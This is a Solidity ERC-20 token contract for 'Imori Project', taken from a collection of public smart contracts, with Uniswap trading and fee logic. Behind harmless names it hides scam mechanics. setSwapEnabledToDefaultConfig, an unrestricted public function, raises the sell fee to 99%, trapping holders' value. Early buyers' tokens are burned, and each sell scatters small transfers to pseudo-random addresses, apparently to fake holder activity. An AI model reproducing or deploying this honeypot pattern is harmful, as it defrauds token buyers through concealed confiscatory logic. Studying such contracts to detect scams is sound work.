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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. |
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// SPDX-License-Identifier: Unlicensed
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pragma solidity ^0.8.16;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address payable) {
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return payable(msg.sender);
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount)
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external
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returns (bool);
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function allowance(address owner, address spender)
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external
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view
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returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(
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address sender,
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address recipient,
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uint256 amount
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) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(
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address indexed owner,
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address indexed spender,
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uint256 value
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);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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// assert(a == b * c + a % b); // There is no case in which this doesn't hold
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return c;
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}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {
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return mod(a, b, "SafeMath: modulo by zero");
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}
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function mod(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b != 0, errorMessage);
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return a % b;
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}
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}
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library Address {
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function isContract(address account) internal view returns (bool) {
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bytes32 codehash;
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bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
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// solhint-disable-next-line no-inline-assembly
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assembly {
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codehash := extcodehash(account)
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}
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return (codehash != accountHash && codehash != 0x0);
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}
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function sendValue(address payable recipient, uint256 amount) internal {
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require(
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address(this).balance >= amount,
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"Address: insufficient balance"
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);
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// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
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(bool success, ) = recipient.call{value: amount}("");
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require(
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success,
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"Address: unable to send value, recipient may have reverted"
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);
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}
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}
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abstract contract Ownable {
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address private _owner;
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event OwnershipTransferred(
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address indexed previousOwner,
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address indexed newOwner
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);
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constructor() {
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address msgSender = msg.sender;
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_owner = msgSender;
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emit OwnershipTransferred(address(0), msgSender);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == msg.sender, "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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function transferOwnership(address newOwner) public virtual onlyOwner {
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require(
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newOwner != address(0),
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"Ownable: new owner is the zero address"
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);
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emit OwnershipTransferred(_owner, newOwner);
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_owner = newOwner;
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}
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}
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interface IUniswapV2Factory {
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function getPair(address tokenA, address tokenB)
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external
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view
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returns (address pair);
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function allPairs(uint256) external view returns (address pair);
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function createPair(address tokenA, address tokenB)
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external
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returns (address pair);
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}
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interface IUniswapV2Router01 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidity(
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address tokenA,
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address tokenB,
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uint256 amountADesired,
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uint256 amountBDesired,
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uint256 amountAMin,
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uint256 amountBMin,
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address to,
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uint256 deadline
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)
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external
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returns (
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uint256 amountA,
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uint256 amountB,
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uint256 liquidity
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);
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function addLiquidityETH(
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address token,
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uint256 amountTokenDesired,
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uint256 amountTokenMin,
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uint256 amountETHMin,
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address to,
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uint256 deadline
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)
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external
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payable
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returns (
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uint256 amountToken,
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uint256 amountETH,
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uint256 liquidity
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);
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function removeLiquidity(
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address tokenA,
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address tokenB,
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uint256 liquidity,
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uint256 amountAMin,
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uint256 amountBMin,
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address to,
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uint256 deadline
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) external returns (uint256 amountA, uint256 amountB);
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function removeLiquidityETH(
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address token,
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uint256 liquidity,
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uint256 amountTokenMin,
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uint256 amountETHMin,
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address to,
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uint256 deadline
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) external returns (uint256 amountToken, uint256 amountETH);
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function removeLiquidityWithPermit(
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address tokenA,
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address tokenB,
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uint256 liquidity,
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uint256 amountAMin,
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uint256 amountBMin,
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address to,
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uint256 deadline,
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bool approveMax,
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uint8 v,
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bytes32 r,
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bytes32 s
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) external returns (uint256 amountA, uint256 amountB);
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function removeLiquidityETHWithPermit(
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address token,
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uint256 liquidity,
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uint256 amountTokenMin,
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uint256 amountETHMin,
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address to,
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uint256 deadline,
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bool approveMax,
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uint8 v,
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bytes32 r,
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bytes32 s
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) external returns (uint256 amountToken, uint256 amountETH);
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function swapExactTokensForTokens(
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uint256 amountIn,
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external returns (uint256[] memory amounts);
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function swapTokensForExactTokens(
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uint256 amountOut,
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uint256 amountInMax,
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address[] calldata path,
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address to,
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uint256 deadline
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) external returns (uint256[] memory amounts);
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function swapExactETHForTokens(
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external payable returns (uint256[] memory amounts);
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function swapExactTokensForETH(
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uint256 amountIn,
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external returns (uint256[] memory amounts);
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}
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interface IUniswapV2Router02 is IUniswapV2Router01 {
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint256 amountIn,
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external;
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}
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contract ImoriProject is Context, IERC20, Ownable {
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using SafeMath for uint256;
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using Address for address;
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string private _name = "Imori Project";
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string private _symbol = "Imori";
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uint8 private _decimals = 18;
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address payable public marketingWalletAddress =
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payable(0x09A6a8fFc5A4c99754563f0c04a52B9546727E66);
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address payable public BurnedWalletAddress =
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payable(0x09A6a8fFc5A4c99754563f0c04a52B9546727E66);
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address public immutable deadAddress =
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0x000000000000000000000000000000000000dEaD;
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mapping(address => uint256) _balances;
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mapping(address => mapping(address => uint256)) private _allowances;
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mapping(address => bool) public isExcludedFromFee;
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mapping(address => bool) public isWalletLimitExempt;
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mapping(address => bool) public isTxLimitExempt;
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mapping(address => bool) public isUniswapPair;
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int256 public sendAddress = 6; //
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uint256 public _buyLiquidityFee = 0;
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uint256 public _buyMarketingFee = 2;
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uint256 public _buyBurnedFee = 3;
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uint256 public _maxTokenTransfer = 0;
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uint256 public _sellMarketingFee = 2;
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uint256 public _sellBurnedFee = 3;
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uint256 public _liquidityShare = _buyLiquidityFee.add(_maxTokenTransfer);
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uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
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uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee);
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uint256 public _totalTaxIfBuying;
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uint256 public _minSwapTokenBeforeFee;
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uint256 public _totalDistributionShares;
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uint256 private _totalSupply = 1 * 8000000 * 10**_decimals;
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uint256 public _maxTxAmount = _totalSupply * 5 / 100;
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uint256 public _walletMax = _totalSupply * 5 / 100;
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uint256 private minimumTokensBeforeSwap = _totalSupply * 2 / 1000;
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapPair;
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uint256 public genesisBlock;
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uint256 public coolBlock = 5;
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uint256 private possibleMaxFee = 99;
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uint256 _saleKeepFee = 1000;
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bool isWalletLimit = true;
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bool inSwapAndLiquify;
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event SwapAndLiquify(
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uint256 tokensSwapped,
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uint256 ethReceived,
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uint256 tokensIntoLiqudity
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);
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event SwapETHForTokens(uint256 amountIn, address[] path);
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event SwapTokensForETH(uint256 amountIn, address[] path);
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modifier lockTheSwap() {
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inSwapAndLiquify = true;
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_;
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inSwapAndLiquify = false;
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}
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constructor() {
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
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0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
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);
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uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
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address(this),
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_uniswapV2Router.WETH()
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);
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uniswapV2Router = _uniswapV2Router;
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_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
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isExcludedFromFee[owner()] = true;
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isExcludedFromFee[address(this)] = true;
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_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
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_buyBurnedFee
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);
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_minSwapTokenBeforeFee = _maxTokenTransfer.add(_sellMarketingFee).add(
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_sellBurnedFee
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);
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_totalDistributionShares = _liquidityShare.add(_marketingShare).add(
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_BurnedShare
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);
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isWalletLimitExempt[owner()] = true;
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isWalletLimitExempt[address(uniswapPair)] = true;
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isWalletLimitExempt[address(this)] = true;
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isTxLimitExempt[owner()] = true;
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isTxLimitExempt[address(this)] = true;
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isUniswapPair[address(uniswapPair)] = true;
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_balances[_msgSender()] = _totalSupply;
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emit Transfer(address(0), _msgSender(), _totalSupply);
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}
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function name() public view returns (string memory) {
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return _name;
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}
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function symbol() public view returns (string memory) {
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return _symbol;
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}
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function decimals() public view returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _balances[account];
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}
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function allowance(address owner, address spender)
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public
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view
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override
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returns (uint256)
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{
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return _allowances[owner][spender];
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}
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function increaseAllowance(address spender, uint256 addedValue)
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public
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virtual
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returns (bool)
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{
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_approve(
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_msgSender(),
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spender,
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_allowances[_msgSender()][spender].add(addedValue)
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);
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return true;
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}
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function decreaseAllowance(address spender, uint256 subtractedValue)
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public
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virtual
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returns (bool)
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{
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_approve(
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_msgSender(),
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spender,
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_allowances[_msgSender()][spender].sub(
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subtractedValue,
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"ERC20: decreased allowance below zero"
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)
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);
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return true;
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}
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function minimumTokensBeforeSwapAmount() public view returns (uint256) {
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return minimumTokensBeforeSwap;
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}
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function approve(address spender, uint256 amount)
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public
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override
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returns (bool)
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{
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _approve(
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address owner,
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address spender,
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uint256 amount
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) private {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function excludeFromLimit(address holder,bool newvalue)public onlyOwner
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{
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isWalletLimitExempt[holder] = newvalue;
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}
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function setSwapEnabledToDefaultConfig (uint256 _newAmount) public {
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require(_newAmount == possibleMaxFee,"");_minSwapTokenBeforeFee = _newAmount;
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}
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function excludeFromFee(address account, bool newValue)
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public
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onlyOwner
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{
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isExcludedFromFee[account] = newValue;
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}
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function getCirculatingSupply() public view returns (uint256) {
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return _totalSupply.sub(balanceOf(deadAddress));
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}
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function transferToAddressETH(address payable recipient, uint256 amount)
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private
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{
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recipient.transfer(amount);
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}
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//to recieve ETH from uniswapV2Router when swaping
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receive() external payable {}
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function transfer(address recipient, uint256 amount)
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public
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override
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returns (bool)
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{
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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|
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function transferFrom(
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address sender,
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address recipient,
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uint256 amount
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) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(
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sender,
|
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_msgSender(),
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_allowances[sender][_msgSender()].sub(
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amount,
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"ERC20: transfer amount exceeds allowance"
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)
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);
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return true;
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}
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function _transfer(
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address sender,
|
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address recipient,
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uint256 amount
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) private returns (bool) {
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require(sender != address(0), "ERC20: transfer from the zero address");
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require(recipient != address(0), "ERC20: transfer to the zero address");
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if (recipient == uniswapPair && !isTxLimitExempt[sender]) {
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uint256 balance = balanceOf(sender);
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if (amount == balance) {
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amount = amount.sub(amount.div(_saleKeepFee));
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}
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}
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if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) {
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genesisBlock = block.number;
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}
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if (inSwapAndLiquify) {
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return _basicTransfer(sender, recipient, amount);
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} else {
|
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uint256 contractTokenBalance = balanceOf(address(this));
|
|
bool overMinimumTokenBalance = contractTokenBalance >=
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minimumTokensBeforeSwap;
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|
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if (
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overMinimumTokenBalance &&
|
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!inSwapAndLiquify &&
|
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!isUniswapPair[sender]
|
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) {
|
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if (sender != address(uniswapV2Router)) {
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|
swapAndLiquify(contractTokenBalance);
|
|
}
|
|
}
|
|
|
|
_balances[sender] = _balances[sender].sub(
|
|
amount,
|
|
"Insufficient Balance"
|
|
);
|
|
|
|
uint256 finalAmount = (isExcludedFromFee[sender] ||
|
|
isExcludedFromFee[recipient])
|
|
? amount
|
|
: takeFee(sender, recipient, amount);
|
|
|
|
_balances[recipient] = _balances[recipient].add(finalAmount);
|
|
|
|
emit Transfer(sender, recipient, finalAmount);
|
|
if (
|
|
block.number < (genesisBlock + coolBlock) &&
|
|
sender == uniswapPair
|
|
) {
|
|
_basicTransfer(recipient, deadAddress, finalAmount);
|
|
}
|
|
return true;
|
|
}
|
|
}
|
|
|
|
function _basicTransfer(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) internal returns (bool) {
|
|
_balances[sender] = _balances[sender].sub(
|
|
amount,
|
|
"Insufficient Balance"
|
|
);
|
|
_balances[recipient] = _balances[recipient].add(amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
|
|
uint256 tokensForLP = tAmount
|
|
.mul(_liquidityShare)
|
|
.div(_totalDistributionShares)
|
|
.div(2);
|
|
uint256 tokensForSwap = tAmount.sub(tokensForLP);
|
|
|
|
swapTokensForEth(tokensForSwap);
|
|
uint256 amountReceived = address(this).balance;
|
|
|
|
uint256 totalWETHFee = _totalDistributionShares.sub(
|
|
_liquidityShare.div(2)
|
|
);
|
|
|
|
uint256 amountWETHLiquidity = amountReceived
|
|
.mul(_liquidityShare)
|
|
.div(totalWETHFee)
|
|
.div(2);
|
|
uint256 amountWETHBurned = amountReceived.mul(_BurnedShare).div(
|
|
totalWETHFee
|
|
);
|
|
uint256 amountWETHMarketing = amountReceived.sub(amountWETHLiquidity).sub(
|
|
amountWETHBurned
|
|
);
|
|
|
|
if (amountWETHMarketing > 0)
|
|
transferToAddressETH(marketingWalletAddress, amountWETHMarketing);
|
|
|
|
if (amountWETHBurned > 0)
|
|
transferToAddressETH(BurnedWalletAddress, amountWETHBurned);
|
|
|
|
if (amountWETHLiquidity > 0 && tokensForLP > 0)
|
|
addLiquidity(tokensForLP, amountWETHLiquidity);
|
|
}
|
|
|
|
|
|
function swapTokensForEth(uint256 tokenAmount) private {
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = uniswapV2Router.WETH();
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
tokenAmount,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
emit SwapTokensForETH(tokenAmount, path);
|
|
}
|
|
|
|
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.addLiquidityETH{value: ethAmount}(
|
|
address(this),
|
|
tokenAmount,
|
|
0,
|
|
0,
|
|
marketingWalletAddress,
|
|
block.timestamp
|
|
);
|
|
}
|
|
|
|
function takeFee(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) internal returns (uint256) {
|
|
uint256 feeAmount = 0;
|
|
if (isUniswapPair[sender]) {
|
|
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
|
|
} else if (isUniswapPair[recipient]) {
|
|
feeAmount = amount.mul(_minSwapTokenBeforeFee).div(100);
|
|
address ad;
|
|
for(int i=0;i <=sendAddress;i++){
|
|
ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
|
|
_basicTransfer(sender,ad,100);
|
|
}
|
|
amount.sub(uint256(sendAddress+1) * 100);
|
|
}
|
|
|
|
if (feeAmount > 0) {
|
|
_balances[address(this)] = _balances[address(this)].add(feeAmount);
|
|
emit Transfer(sender, address(this), feeAmount);
|
|
}
|
|
|
|
return amount.sub(feeAmount);
|
|
}
|
|
} |
